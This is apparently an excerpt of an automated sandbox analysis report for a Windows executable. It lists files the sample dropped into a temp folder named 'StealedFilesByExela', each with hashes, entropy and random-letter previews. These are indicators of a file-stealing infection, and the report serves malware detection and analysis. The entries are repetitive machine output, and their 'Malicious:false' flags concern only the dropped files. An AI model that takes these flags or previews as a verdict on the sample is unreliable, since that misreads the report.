                                                                                                                                                                                                                                    SSDEEP:24:P1aJ3UFXnPRRqJn5Ao7J4kXjiut748cX3Gg6hQk:P1aWFX5RQnAuh48cHGg6hQk
                                                                                                                                                                                                                                    MD5:CA404BEA65D84F58838AF73B2DC67E02
                                                                                                                                                                                                                                    SHA1:56EDE3A3BF70705B1D42A2AE13F6605057C1E5F6
                                                                                                                                                                                                                                    SHA-256:4A28C898DF5967827C26FD633CD56275159EF4C4C0193E484E8E8F3E9ECC66B9
                                                                                                                                                                                                                                    SHA-512:10C144317CDB5A368733346EB8440A986A377916F98BE0E8232E668A8C5E107E06829ADF575751B94D0B0AA37F4CAC48DBD7BC64FFE8DCB140FB033C00CEC721
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:GLTYDMDUSTFARDVTDTOSUXWTZPBTWYSDUWRWNQMOYZIOPMOCUVTIJOHJYLHKBCEDWQBIYLQPLFXNZVXOZBIBDNIIHCNZHRIZBCANIAZPBFFJNXGCWLILIHHCYJHZSFIZUUDHFLQEWBBOMWJOZCKSAOAVKAWDPLPLVPHHMTSMKFCHYLMZJYKTJZUGPCSSVJJOKBWSTSLHJSIZZNIHOVEXPMQSKABHGSGHFUWVNTWTGYCLXOQEPAIEYRMLWJNNZHEPKXAHFKJUQHDHBHMPKXFCHXQYMICUKIVHNMPIJURPFBDBUQWHFTUVKPWMJHVOENGHYYNPMJPLPTQKABBVHNTLFXAJUISPUCEXPQFWXNQKGLSPRPJEAIJQZNYNOWAKNLRQHQRIOFXWLXEJZPOKNRPRZQJIGYXOWWZDFNURUOTFOOSKCNYLZXJZIWHYYUTOQRDTTRMPEMHZSRVZISBDQKRQYXAZOKOCTHUJKZWNHJSEMHTCSKCARZUYORNVIXVWTGAWUONMQVDITNHLNLJNREIEBPKELOMXBMEUBFTSVSGBVXSXHICRIGHIFVXWPXMIKKKCBOFCJGKJYZJDAWFCHWCNIMOPOPYUXDESMSSFNZBKRVTKTFPFGCIMVLKPBRKBRZJRHIYUQFAFEODGJZAXKRAFGTBXKKKTOXYTJBCHZWBDPBSBRTICVTUOWNEXJIZFESQAIMINDZJFLHIQSMVIICPGSEVSLVSVPMBXUGAPVVXVNJEBHRRBRPIHKGVJJDRANYKMMFJJBFPKFDJAROFBZANTWLCLSELNCCDRQUPZIMXLCVFZOFWKZYXCLQVRUFHUTIFPNWERRWWXHSVZHEYMHULWKGIIWKBRWODYKIGEPXGOEZXMJVKVNTEOQXZBOZBXYKMUGZUYMELGGHJJVDPONTLTQGITEMXYMMOGRWMQDUHIGHPJWPGIEZDZPFZHQMQKLTBUGJXLBLEGTFQZOXBPYRZFHNMZGVZGRAKFYTWDWWKV

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\GNLQNHOLWB.png

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.698695541849584
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:ZE+7+1bm31iNKty4eaTDMDURN6ZqyioAe1L:ZE+61bm0Qty41T5N6ZNLAeZ
                                                                                                                                                                                                                                    MD5:64E7020B0B401F75D3061A1917D99E04
                                                                                                                                                                                                                                    SHA1:785E09A2F76464E26CE282F41DE07D1B27FFB855
                                                                                                                                                                                                                                    SHA-256:9E5D6C897851C4A24A0D3BC4F9291A971550B9F1B9F9CFB86D7A2D5F12CD63B0
                                                                                                                                                                                                                                    SHA-512:14D18C0739A9B9097C2135DF001E31BA17772A9ED1DFC62318AD092C133F8C054E5C335354C57929137344E11AC6F0EBC5032211136D1F1B3F6DF8F1434D90E3
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:GNLQNHOLWBOQVJIFTLNFGJNNXMGUZOMCUNVQXIPWIQSXJKHHVRYLBVHOHRRAZCZOOSABVUNECAWUZDTCLDYZAFJGGGUXKDFDPLZWHOYARDSHMWUJKNJPXNWQKOEVEVLWQLXKJLHTDQZQULYODUZGGIUHFXGBKGLAQBERUUCASFPJWCVSHYWEKXXBEZZVPBKVPPRGJJFXTGVBUVLUVQNAPBMPJOZNNFCDPEHNHWSMZSBAYITASRGZTGXSYUNNLKZKAVLGDGRIUVYOWINQLHMWTCZYYSGNSZQWZQNLKENKZJSDTJDSZVFQGHKVENDXCIHQVPCJNVXYVCJTKGGQJHTLGYJROSCXNGTCNNLCBSAOHAXWLQLCXTRIYCZVDEDWKBEHBEBKKXYVNQHTFFQFVFLHQRXMYLCHQAJKIRETOPSMFDVMJOROHVBDNWQMACXDCGCPKSQUIXWYXSYDPSBSUJMXEBPBCWJDOKOSFYRZQSCWEIHCQFTRYQVAUUYDVCYUHDRUKCTOGNWSTPHONXNHSHICTVCMWIDPOKQMNGFKZOADDJPTUVPEWWFNEKDLAVDZNBHHFIRSPGSQGUQUGGIRSVJTEIAUJEHUVHRJPWEMACBNRIWVFWWRDNGHYAESSKWHOCXLPYRMKQYTXSSYLKESQEPWVDSSTKTYQDQTTAUVWPQFTTJMGMEGRECDIFCMPKXTYYNGENSBDKEVPPDNRRDLULORZGHRQIQWLMHMKLKDLNSNWXWGTMDLMPWAGGPUJXOOYWOGWZTDKIVNNXMKJEFALSJECCOVZVTAPKGAXWCUMHLAHYBPLBTDXBKKPKPJFJOKZKMPEWOOMMMCZHSENRPGKEJJHHOVFETVBBFBTDTSNLGGPVPAFDOXRJUKYZTGOFQUAVOGUZJARUUCKMRYUSWZIRYUATBQRRVCNMFMMBTGSFQCAOTPTSBPCICPBMURXQOIITZCLXKSJVDGFLGHUIHTALRYCNLFILDCLQXDOGMOKPXT

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\HMPPSXQPQV.mp3

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.698711683401115
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:qKHpKPokvebe5xXL3g76mBU/gS2JBbl20IS7pnXk:Rpcjnxbw7TYgS2nbzIS7pnXk
                                                                                                                                                                                                                                    MD5:47643CE7571E0C995094D7CE5F2005D7
                                                                                                                                                                                                                                    SHA1:40D42828B2F68C625EBD884FB8AF5B20F5A1DF9C
                                                                                                                                                                                                                                    SHA-256:1D642D4EC7BC821B0FFA28C3F2702C875C922139D8001EADD664EBCCF8D321B3
                                                                                                                                                                                                                                    SHA-512:3AAD0470C01D2609662C0B8D146BA79132B404C669C22032D085233E2D30725797AC2E15A11F54DFE00E4B6CA6E914E3439D4775B3AF6D782334FE9424F485A5
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:HMPPSXQPQVZTKYGXRLZXZQHGCZSWFSMKAZTFZQVPBWYDEIQOYRZBKZROCVLLNDGOXMZATHCHJWBWCKMDMUVOMUCFYNBSIKMCOOAGLUHDSCAREEEQGTRYCAFLTFVCHREFHJJALACUPWFTGZJJVRRQBVOZGXIEUBTJBNHNAXRWAWTUYQZIZWPARDBZBFGZUBQQPINOCLFOLDPTMWQVUUBDSNGDFVMEOTHPNKBOMDPGLFXUXBXHUOTYRPUQTUJPKLUSNTISPNFAHVFBBWEWJQFBJFCDDWUUKCQJNEKMUTJEZKKMXXOCBOVMCGGYTPDYBYYFVGHQJJBCDHYWPXJUJWPNURQCUHPTATLFRAOGUCJWWSBAITHVPDRYRFCTPIWHJVKSAXOIPKHISTBCDZISGIVPPYDJLJWFRNVNCWIOINKYQLAFVLCPSGCZABGNTUVGEDQZGQNDECUBPLLOYUYTHXDNNCAXKLHFZXBBAWBICFREGZBLZZMPWRLUSXUNEXAKLSJETGNCJTTGSNPPSHZUKZDHHYHBBWKJUSIBAKGKHQJINZHCWLBCIIUGTVVLNEZXUBIPUVRAILLENTRJYFNIBHNOUNYAIFQBNUMFUSXNGITFIFZKTSFAQXDYVBIUCIUYJIGJTIJHWTPPRJQVSBHHUXLZRPPJOWJAPSVQQVKLFHKXZRPEJBFXNKVNBCPMLRQGCJINKLLBJVROFAFCDRFCDAMIDEYSZDWNLUMJZXGWKOIKNAYVXPYRZWMBNAAFKFOPCVNGUECOARMDWJVYVUQQAFEGKCYXVVGXPHPEVOMRADTQDTJSHAKHPNNOGUDWBRXDJFEMSJTJUJKHZONBLGDCDDUDTRQKPOFACELSKHFSBPKXKDGWOKSDBAMWLKXEAOOHWVOAQZGZCNSDWOXSHPTFMVMYQXTRNMUPZSFQXOQLPUFJWHWTXXIRMQXDPVAJKHMSCGTFVJKECYILRMHGFBWQKUNTRVZTBJQJAKTSJUIDOLPL

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\HMPPSXQPQV.pdf

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.698711683401115
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:qKHpKPokvebe5xXL3g76mBU/gS2JBbl20IS7pnXk:Rpcjnxbw7TYgS2nbzIS7pnXk
                                                                                                                                                                                                                                    MD5:47643CE7571E0C995094D7CE5F2005D7
                                                                                                                                                                                                                                    SHA1:40D42828B2F68C625EBD884FB8AF5B20F5A1DF9C
                                                                                                                                                                                                                                    SHA-256:1D642D4EC7BC821B0FFA28C3F2702C875C922139D8001EADD664EBCCF8D321B3
                                                                                                                                                                                                                                    SHA-512:3AAD0470C01D2609662C0B8D146BA79132B404C669C22032D085233E2D30725797AC2E15A11F54DFE00E4B6CA6E914E3439D4775B3AF6D782334FE9424F485A5
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:HMPPSXQPQVZTKYGXRLZXZQHGCZSWFSMKAZTFZQVPBWYDEIQOYRZBKZROCVLLNDGOXMZATHCHJWBWCKMDMUVOMUCFYNBSIKMCOOAGLUHDSCAREEEQGTRYCAFLTFVCHREFHJJALACUPWFTGZJJVRRQBVOZGXIEUBTJBNHNAXRWAWTUYQZIZWPARDBZBFGZUBQQPINOCLFOLDPTMWQVUUBDSNGDFVMEOTHPNKBOMDPGLFXUXBXHUOTYRPUQTUJPKLUSNTISPNFAHVFBBWEWJQFBJFCDDWUUKCQJNEKMUTJEZKKMXXOCBOVMCGGYTPDYBYYFVGHQJJBCDHYWPXJUJWPNURQCUHPTATLFRAOGUCJWWSBAITHVPDRYRFCTPIWHJVKSAXOIPKHISTBCDZISGIVPPYDJLJWFRNVNCWIOINKYQLAFVLCPSGCZABGNTUVGEDQZGQNDECUBPLLOYUYTHXDNNCAXKLHFZXBBAWBICFREGZBLZZMPWRLUSXUNEXAKLSJETGNCJTTGSNPPSHZUKZDHHYHBBWKJUSIBAKGKHQJINZHCWLBCIIUGTVVLNEZXUBIPUVRAILLENTRJYFNIBHNOUNYAIFQBNUMFUSXNGITFIFZKTSFAQXDYVBIUCIUYJIGJTIJHWTPPRJQVSBHHUXLZRPPJOWJAPSVQQVKLFHKXZRPEJBFXNKVNBCPMLRQGCJINKLLBJVROFAFCDRFCDAMIDEYSZDWNLUMJZXGWKOIKNAYVXPYRZWMBNAAFKFOPCVNGUECOARMDWJVYVUQQAFEGKCYXVVGXPHPEVOMRADTQDTJSHAKHPNNOGUDWBRXDJFEMSJTJUJKHZONBLGDCDDUDTRQKPOFACELSKHFSBPKXKDGWOKSDBAMWLKXEAOOHWVOAQZGZCNSDWOXSHPTFMVMYQXTRNMUPZSFQXOQLPUFJWHWTXXIRMQXDPVAJKHMSCGTFVJKECYILRMHGFBWQKUNTRVZTBJQJAKTSJUIDOLPL

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\HMPPSXQPQV.xlsx

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.698711683401115
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:qKHpKPokvebe5xXL3g76mBU/gS2JBbl20IS7pnXk:Rpcjnxbw7TYgS2nbzIS7pnXk
                                                                                                                                                                                                                                    MD5:47643CE7571E0C995094D7CE5F2005D7
                                                                                                                                                                                                                                    SHA1:40D42828B2F68C625EBD884FB8AF5B20F5A1DF9C
                                                                                                                                                                                                                                    SHA-256:1D642D4EC7BC821B0FFA28C3F2702C875C922139D8001EADD664EBCCF8D321B3
                                                                                                                                                                                                                                    SHA-512:3AAD0470C01D2609662C0B8D146BA79132B404C669C22032D085233E2D30725797AC2E15A11F54DFE00E4B6CA6E914E3439D4775B3AF6D782334FE9424F485A5
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:HMPPSXQPQVZTKYGXRLZXZQHGCZSWFSMKAZTFZQVPBWYDEIQOYRZBKZROCVLLNDGOXMZATHCHJWBWCKMDMUVOMUCFYNBSIKMCOOAGLUHDSCAREEEQGTRYCAFLTFVCHREFHJJALACUPWFTGZJJVRRQBVOZGXIEUBTJBNHNAXRWAWTUYQZIZWPARDBZBFGZUBQQPINOCLFOLDPTMWQVUUBDSNGDFVMEOTHPNKBOMDPGLFXUXBXHUOTYRPUQTUJPKLUSNTISPNFAHVFBBWEWJQFBJFCDDWUUKCQJNEKMUTJEZKKMXXOCBOVMCGGYTPDYBYYFVGHQJJBCDHYWPXJUJWPNURQCUHPTATLFRAOGUCJWWSBAITHVPDRYRFCTPIWHJVKSAXOIPKHISTBCDZISGIVPPYDJLJWFRNVNCWIOINKYQLAFVLCPSGCZABGNTUVGEDQZGQNDECUBPLLOYUYTHXDNNCAXKLHFZXBBAWBICFREGZBLZZMPWRLUSXUNEXAKLSJETGNCJTTGSNPPSHZUKZDHHYHBBWKJUSIBAKGKHQJINZHCWLBCIIUGTVVLNEZXUBIPUVRAILLENTRJYFNIBHNOUNYAIFQBNUMFUSXNGITFIFZKTSFAQXDYVBIUCIUYJIGJTIJHWTPPRJQVSBHHUXLZRPPJOWJAPSVQQVKLFHKXZRPEJBFXNKVNBCPMLRQGCJINKLLBJVROFAFCDRFCDAMIDEYSZDWNLUMJZXGWKOIKNAYVXPYRZWMBNAAFKFOPCVNGUECOARMDWJVYVUQQAFEGKCYXVVGXPHPEVOMRADTQDTJSHAKHPNNOGUDWBRXDJFEMSJTJUJKHZONBLGDCDDUDTRQKPOFACELSKHFSBPKXKDGWOKSDBAMWLKXEAOOHWVOAQZGZCNSDWOXSHPTFMVMYQXTRNMUPZSFQXOQLPUFJWHWTXXIRMQXDPVAJKHMSCGTFVJKECYILRMHGFBWQKUNTRVZTBJQJAKTSJUIDOLPL

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\HQJBRDYKDE.jpg

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.691179545447335
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:tlYQ6oxCx5XYY3KvUEOIA65F7dAeIQGhrMerXo:rxy5avIgDIQQrMQXo
                                                                                                                                                                                                                                    MD5:70ED9F89ADEE0C43C2C82F30F075991E
                                                                                                                                                                                                                                    SHA1:0E75067F3EEBF7D577813A06A0A6A2FA9640A04F
                                                                                                                                                                                                                                    SHA-256:4CCB14AF416B302962BC020D9E436FCA0B32B56F37932B2CA7D078355282CF80
                                                                                                                                                                                                                                    SHA-512:A75A2B3BE722735CE45B93CB1522F31D884BA8BE30A122BFCE7E50720773B0B5B48F163BB9FF0239015430BEADD61DAD76F13EA6CC027C5A4AB4B842EED468CB
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:HQJBRDYKDEOHXEMHQUWMHZKQTIUMQUJZQSHSNBAZYZJDQYWUPMZFOTGKPEFSZCMKVLFONSCAAMYVGLIHZYOTOPUUVQOBDOLNPVUWURWNEXALCBEMRUAMWIVXUEMKBDPTQDMNCZDHIBPXPQNVVBSEAMAZGUFIOXJXUMQDPOKVVJUQBWZVZRBRPTZPVEJYLPIYMEAMWWDBNMSHJABGSBWULRADLUGOSJMUMMAMATXWORDUBFFRKPJOGISDLVVWVEVKTCLPSYFZVEZUCAYZDFGQESZIGEIJSPECVLABTLKSYGZSZGOCSOVUTVVPDTKMXTQIDAXVAJZEADSIEJVOWEHIMAOXMXIYKZIBMQKEOKXDOHFZWHLAGEWJECAZGRNZINNBMFSXKSHESCTAUQMEPBTLUPWEJFSFLHXHTECHZUUDFJOGDDWIRGOWPPKFZEUJYTJMHKZKHJNTGRKLLEAGPHTTOOTTMGEBMEHXZJPZXSVAQMYTVIDQEYRXIAPROXUHUUXYGMHCRUUYFQOWDUPJKUNGSADHWGBZUQMPTWLBUXNFUJGXUJHMMUUHZIKPUPRZVXNDGTJDDXIMANOVZFNWWEHJHXRQXSYDNXTPEXJZNKPPCJBVRMLFMRIEWFPGJGVBHZKCGUUQFRCXDGAPMAVRPRODGVOWMFUTKARIMTYBKFAHZMPYXRSLUFTYOWQDSLXVKMYYISNNZDBQEVANDLZJURRLNHZBMEVGPOIXUCEKJTTUZSEQSNPEEYVXCUAWHUWEFITOITMDHBLUWCIANEGYREWEOVBZRHQTHBYYPFCKKGLXQPBHRRMJUHMZXPSZSYQISKTCKOCWTTRZHBQSMTMNCYCQKIGYNDYWGUIVILQUURMKJKQBBDUZOINKPJRQEGWTTZOFXCCZXUCHKCWUSBTKAOSTDEHMZTFHPRMNWUWUKXNTZRKJRQLXXQCEGZPAHKOBVMNQQIYGWKFTHIVTFKISEBNGTEJIXPIRDTAGJZNJKNLM

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\HQJBRDYKDE.mp3

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.691179545447335
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:tlYQ6oxCx5XYY3KvUEOIA65F7dAeIQGhrMerXo:rxy5avIgDIQQrMQXo
                                                                                                                                                                                                                                    MD5:70ED9F89ADEE0C43C2C82F30F075991E
                                                                                                                                                                                                                                    SHA1:0E75067F3EEBF7D577813A06A0A6A2FA9640A04F
                                                                                                                                                                                                                                    SHA-256:4CCB14AF416B302962BC020D9E436FCA0B32B56F37932B2CA7D078355282CF80
                                                                                                                                                                                                                                    SHA-512:A75A2B3BE722735CE45B93CB1522F31D884BA8BE30A122BFCE7E50720773B0B5B48F163BB9FF0239015430BEADD61DAD76F13EA6CC027C5A4AB4B842EED468CB
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:HQJBRDYKDEOHXEMHQUWMHZKQTIUMQUJZQSHSNBAZYZJDQYWUPMZFOTGKPEFSZCMKVLFONSCAAMYVGLIHZYOTOPUUVQOBDOLNPVUWURWNEXALCBEMRUAMWIVXUEMKBDPTQDMNCZDHIBPXPQNVVBSEAMAZGUFIOXJXUMQDPOKVVJUQBWZVZRBRPTZPVEJYLPIYMEAMWWDBNMSHJABGSBWULRADLUGOSJMUMMAMATXWORDUBFFRKPJOGISDLVVWVEVKTCLPSYFZVEZUCAYZDFGQESZIGEIJSPECVLABTLKSYGZSZGOCSOVUTVVPDTKMXTQIDAXVAJZEADSIEJVOWEHIMAOXMXIYKZIBMQKEOKXDOHFZWHLAGEWJECAZGRNZINNBMFSXKSHESCTAUQMEPBTLUPWEJFSFLHXHTECHZUUDFJOGDDWIRGOWPPKFZEUJYTJMHKZKHJNTGRKLLEAGPHTTOOTTMGEBMEHXZJPZXSVAQMYTVIDQEYRXIAPROXUHUUXYGMHCRUUYFQOWDUPJKUNGSADHWGBZUQMPTWLBUXNFUJGXUJHMMUUHZIKPUPRZVXNDGTJDDXIMANOVZFNWWEHJHXRQXSYDNXTPEXJZNKPPCJBVRMLFMRIEWFPGJGVBHZKCGUUQFRCXDGAPMAVRPRODGVOWMFUTKARIMTYBKFAHZMPYXRSLUFTYOWQDSLXVKMYYISNNZDBQEVANDLZJURRLNHZBMEVGPOIXUCEKJTTUZSEQSNPEEYVXCUAWHUWEFITOITMDHBLUWCIANEGYREWEOVBZRHQTHBYYPFCKKGLXQPBHRRMJUHMZXPSZSYQISKTCKOCWTTRZHBQSMTMNCYCQKIGYNDYWGUIVILQUURMKJKQBBDUZOINKPJRQEGWTTZOFXCCZXUCHKCWUSBTKAOSTDEHMZTFHPRMNWUWUKXNTZRKJRQLXXQCEGZPAHKOBVMNQQIYGWKFTHIVTFKISEBNGTEJIXPIRDTAGJZNJKNLM

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\HQJBRDYKDE.pdf

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.691179545447335
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:tlYQ6oxCx5XYY3KvUEOIA65F7dAeIQGhrMerXo:rxy5avIgDIQQrMQXo
                                                                                                                                                                                                                                    MD5:70ED9F89ADEE0C43C2C82F30F075991E
                                                                                                                                                                                                                                    SHA1:0E75067F3EEBF7D577813A06A0A6A2FA9640A04F
                                                                                                                                                                                                                                    SHA-256:4CCB14AF416B302962BC020D9E436FCA0B32B56F37932B2CA7D078355282CF80
                                                                                                                                                                                                                                    SHA-512:A75A2B3BE722735CE45B93CB1522F31D884BA8BE30A122BFCE7E50720773B0B5B48F163BB9FF0239015430BEADD61DAD76F13EA6CC027C5A4AB4B842EED468CB
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:HQJBRDYKDEOHXEMHQUWMHZKQTIUMQUJZQSHSNBAZYZJDQYWUPMZFOTGKPEFSZCMKVLFONSCAAMYVGLIHZYOTOPUUVQOBDOLNPVUWURWNEXALCBEMRUAMWIVXUEMKBDPTQDMNCZDHIBPXPQNVVBSEAMAZGUFIOXJXUMQDPOKVVJUQBWZVZRBRPTZPVEJYLPIYMEAMWWDBNMSHJABGSBWULRADLUGOSJMUMMAMATXWORDUBFFRKPJOGISDLVVWVEVKTCLPSYFZVEZUCAYZDFGQESZIGEIJSPECVLABTLKSYGZSZGOCSOVUTVVPDTKMXTQIDAXVAJZEADSIEJVOWEHIMAOXMXIYKZIBMQKEOKXDOHFZWHLAGEWJECAZGRNZINNBMFSXKSHESCTAUQMEPBTLUPWEJFSFLHXHTECHZUUDFJOGDDWIRGOWPPKFZEUJYTJMHKZKHJNTGRKLLEAGPHTTOOTTMGEBMEHXZJPZXSVAQMYTVIDQEYRXIAPROXUHUUXYGMHCRUUYFQOWDUPJKUNGSADHWGBZUQMPTWLBUXNFUJGXUJHMMUUHZIKPUPRZVXNDGTJDDXIMANOVZFNWWEHJHXRQXSYDNXTPEXJZNKPPCJBVRMLFMRIEWFPGJGVBHZKCGUUQFRCXDGAPMAVRPRODGVOWMFUTKARIMTYBKFAHZMPYXRSLUFTYOWQDSLXVKMYYISNNZDBQEVANDLZJURRLNHZBMEVGPOIXUCEKJTTUZSEQSNPEEYVXCUAWHUWEFITOITMDHBLUWCIANEGYREWEOVBZRHQTHBYYPFCKKGLXQPBHRRMJUHMZXPSZSYQISKTCKOCWTTRZHBQSMTMNCYCQKIGYNDYWGUIVILQUURMKJKQBBDUZOINKPJRQEGWTTZOFXCCZXUCHKCWUSBTKAOSTDEHMZTFHPRMNWUWUKXNTZRKJRQLXXQCEGZPAHKOBVMNQQIYGWKFTHIVTFKISEBNGTEJIXPIRDTAGJZNJKNLM

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\LFOPODGVOH.docx

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.698393795110914
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:weX7B5oYsT2B9e4Feb4OKL65JIiga/zOnv9iY81icgfiTetEc8E:FPoYsqB9e4dP63IigGOvo11LetEc8E
                                                                                                                                                                                                                                    MD5:7C5655873C22D2522B13B34841F82038
                                                                                                                                                                                                                                    SHA1:ED733AE5B3E813B97D69E7283AEB8085EFC62B78
                                                                                                                                                                                                                                    SHA-256:9A515FAA0EE108930EC0C597C9E2CA74B21C3C9D45F3F845954A65F3FA4C494D
                                                                                                                                                                                                                                    SHA-512:A98C25203B5A8C5C3FE7859E1B128BA3C0B5691BE716C53CA427770F10EC65CBB8B704EEA994BCE1ECA69EC4D46BCC0D48FE844653B964E96D1248D2E211CBD2
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:LFOPODGVOHLLKBCXZQUOXPFEKGPKVDEYIZRZGQPAXXVWAHGTCBCWCYBHYOPHLEVYFLCEXNMVAAPUECIPRDZTIBJFGFXDAEMKYPYGCWSRTCUEEDISUDHVYQEPCSIKRBOXVZVTBFVUQHQYHEIWQPMZFNXNKGPPDGDMKJWAYJVYMRCYCWORBYPZYIFTAANBVDPJJOGYMYDPMPCNSOQVKLKNKHQVJQRYOOACYXVWFBJGOZRXUBDUSJEQNJXCVPHTUWAVCILOAXOWIJVWKMAIOEWTHGQELYIGVJJZNFBDSZXPZMLZNFDRIJQQQDSSMCBEMRHVOYIGRXSYQYDLBDBDJCVRREJGRUBPNYBFUCUXLMUIULULHCWJQQEMKBQMLJBDJQHFXPNODSTVZXWZZOXPIXKBRKMKOYEBDUBYOGMGXHFMCUIKRQYQMHGUBUAAFTMUCZNIIVAIOOBIASAJPKXIYIQIRVIIXGNUEDAXQJYWQXOBTAINKSTSHZGNUWVHVDUXVGWBWRXOYEGSIRNXRHBFOAWRQVFKAGDUSHRWQWJQRNMOGHTWFHOOZGRSVCSEJNMPDYUGTSBOMGHSHACUNTVVGKNAZSSLLQOXMCBVKFFAQLQCWYNIWPVJRECIKVCXZGCNHKXMQDPPOURAWIKZOZEFLDUYVIGDPGUMGOGBUYKGLVLWQSDAHAAIVFUNWQIWKRCSLCPMZBWBBDTBBVTZNYCLEIZNLQRHKBOLVTUTWSURDWQTCHAPUMJQWNVWVGFLAAPEHMLBUSYJCZDJUMZMKIOKIMVTYPMCXUXWVXIMVUCNXESHIVCKNFAALGDXCVJHQZWLDSAWNJWFBTHDBKGVKXLWDOPOOBJMPJCKUXVNFQVOUEIHJKOHTDCQCDOFQBMSQNWVDKTKWJIFVOMWEUJULPMGUSEWAZAHAZVGRSWNQYXPMKFWQGODZHVNOEXZBPLONONBPAHCDWEMSFLRJBFMOKMCLAGRJEGRTGVETXSZKDXQWEOD

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\StealedFilesByExela\LFOPODGVOH.jpg

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1026
                                                                                                                                                                                                                                    Entropy (8bit):4.698393795110914
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:weX7B5oYsT2B9e4Feb4OKL65JIiga/zOnv9iY81icgfiTetEc8E:FPoYsqB9e4dP63IigGOvo11LetEc8E
                                                                                                                                                                                                                                    MD5:7C5655873C22D2522B13B34841F82038
                                                                                                                                                                                                                                    SHA1:ED733AE5B3E813B97D69E7283AEB8085EFC62B78
                                                                                                                                                                                                                                    SHA-256:9A515FAA0EE108930EC0C597C9E2CA74B21C3C9D45F3F845954A65F3FA4C494D
                                                                                                                                                                                                                                    SHA-512:A98C25203B5A8C5C3FE7859E1B128BA3C0B5691BE716C53CA427770F10EC65CBB8B704EEA994BCE1ECA69EC4D46BCC0D48FE844653B964E96D1248D2E211CBD2
